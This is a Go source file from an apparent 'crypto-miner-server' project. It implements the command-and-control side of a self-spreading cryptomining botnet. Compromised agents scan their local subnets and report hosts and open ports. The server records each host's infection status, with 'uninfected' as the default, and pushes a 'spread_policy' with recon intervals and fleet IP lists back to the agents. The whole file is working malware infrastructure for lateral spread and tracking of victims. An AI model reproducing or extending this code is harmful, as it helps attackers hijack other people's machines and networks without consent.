package api

import (
	"encoding/json"
	"net/http"
	"strings"

	dbpkg "crypto-miner-server/internal/db"
)

const defaultSubnetReconIntervalMin = 30

type SubnetDiscoveryHandler struct {
	db  *dbpkg.Database
	hub *WSHub
}

func NewSubnetDiscoveryHandler(database *dbpkg.Database, hub *WSHub) *SubnetDiscoveryHandler {
	return &SubnetDiscoveryHandler{db: database, hub: hub}
}

func (h *SubnetDiscoveryHandler) GetDiscoveredHosts(w http.ResponseWriter, r *http.Request) {
	if h == nil || h.db == nil {
		writeJSON(w, map[string]interface{}{"hosts": []dbpkg.SubnetDiscoveryRow{}})
		return
	}
	subnet := strings.TrimSpace(r.URL.Query().Get("subnet"))
	status := strings.TrimSpace(r.URL.Query().Get("status"))
	rows, err := h.db.ListSubnetDiscoveries(subnet, status, 500)
	if err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	}
	if rows == nil {
		rows = []dbpkg.SubnetDiscoveryRow{}
	}
	writeJSON(w, map[string]interface{}{"hosts": rows})
}

func (h *WSHub) ingestSubnetReconReport(agentID string, payload json.RawMessage) {
	if h == nil || h.db == nil || agentID == "" {
		return
	}
	var body struct {
		Hosts        []dbpkg.SubnetDiscoveryRow `json:"hosts"`
		SubnetPrefix string                     `json:"subnet_prefix"`
		AgentID      string                     `json:"agent_id"`
	}
	if err := json.Unmarshal(payload, &body); err != nil || len(body.Hosts) == 0 {
		return
	}
	reporter := strings.TrimSpace(body.AgentID)
	if reporter == "" {
		reporter = agentID
	}
	defaultPrefix := normalizeSubnetDiscoveryQueryPrefix(body.SubnetPrefix)
	for _, host := range body.Hosts {
		ip := strings.TrimSpace(host.IP)
		if ip == "" {
			continue
		}
		prefix := normalizeSubnetDiscoveryQueryPrefix(host.SubnetPrefix)
		if prefix == "" {
			prefix = defaultPrefix
		}
		if prefix == "" {
			prefix = subnetPrefix24(ip)
		}
		if host.Status == "" {
			host.Status = dbpkg.SubnetDiscoveryUninfected
		}
		row, err := h.db.UpsertSubnetDiscovery(dbpkg.SubnetDiscoveryRow{
			IP:              ip,
			OpenPorts:       host.OpenPorts,
			ReporterAgentID: strings.TrimSpace(host.ReporterAgentID),
			SubnetPrefix:    prefix,
			HTTPTitle:       host.HTTPTitle,
			Status:          host.Status,
		})
		if err != nil || row == nil {
			continue
		}
		if row.ReporterAgentID == "" {
			row.ReporterAgentID = reporter
		}
		h.BroadcastSubnetDiscoveryUpdate(*row)
	}
}

func (h *WSHub) markSubnetDiscoveryAgentOnline(ip string) {
	if h == nil || h.db == nil {
		return
	}
	ip = strings.TrimSpace(ip)
	if ip == "" {
		return
	}
	row, err := h.db.MarkSubnetDiscoveryAgentOnline(ip)
	if err != nil || row == nil {
		return
	}
	h.BroadcastSubnetDiscoveryUpdate(*row)
}

func (h *WSHub) BroadcastSubnetDiscoveryUpdate(row dbpkg.SubnetDiscoveryRow) {
	if h == nil {
		return
	}
	h.broadcastDashboard(Message{Type: "subnet_discovery_update", Payload: mustMarshal(row)})
}

func (h *WSHub) subnetFleetIPsForRecon(agentSubnet string) []string {
	if h == nil || h.db == nil {
		return nil
	}
	agentSubnet = normalizeSubnetDiscoveryQueryPrefix(agentSubnet)
	if agentSubnet == "" {
		return nil
	}
	agents, err := h.db.ListAgentsFiltered(dbpkg.AgentListFilter{Subnet: agentSubnet + ".x", Limit: 256})
	if err != nil {
		return nil
	}
	seen := map[string]bool{}
	var out []string
	for _, ag := range agents {
		if ag == nil {
			continue
		}
		ip := strings.TrimSpace(ag.IP)
		if ip == "" || seen[ip] {
			continue
		}
		seen[ip] = true
		out = append(out, ip)
	}
	return out
}

func (h *WSHub) attachSubnetReconPolicy(resp map[string]interface{}, spreadPolicy map[string]interface{}, clientIP string) {
	if h == nil {
		return
	}
	policy := h.serverPolicySnapshot()
	if !policy.SubnetReconEnabled {
		return
	}
	interval := policy.SubnetReconIntervalMin
	if interval <= 0 {
		interval = defaultSubnetReconIntervalMin
	}
	resp["subnet_recon_enabled"] = true
	resp["subnet_recon_interval_min"] = interval
	if fleetIPs := h.subnetFleetIPsForRecon(subnetPrefix24(clientIP)); len(fleetIPs) > 0 {
		resp["subnet_fleet_ips"] = fleetIPs
	}
	if spreadPolicy == nil {
		spreadPolicy = map[string]interface{}{}
	}
	spreadPolicy["subnet_recon_enabled"] = true
	spreadPolicy["subnet_recon_interval_min"] = interval
	resp["spread_policy"] = spreadPolicy
}

func normalizeSubnetDiscoveryQueryPrefix(prefix string) string {
	prefix = strings.TrimSpace(prefix)
	prefix = strings.TrimSuffix(prefix, ".0/24")
	prefix = strings.TrimSuffix(prefix, "/24")
	prefix = strings.TrimSuffix(prefix, ".x")
	return prefix
}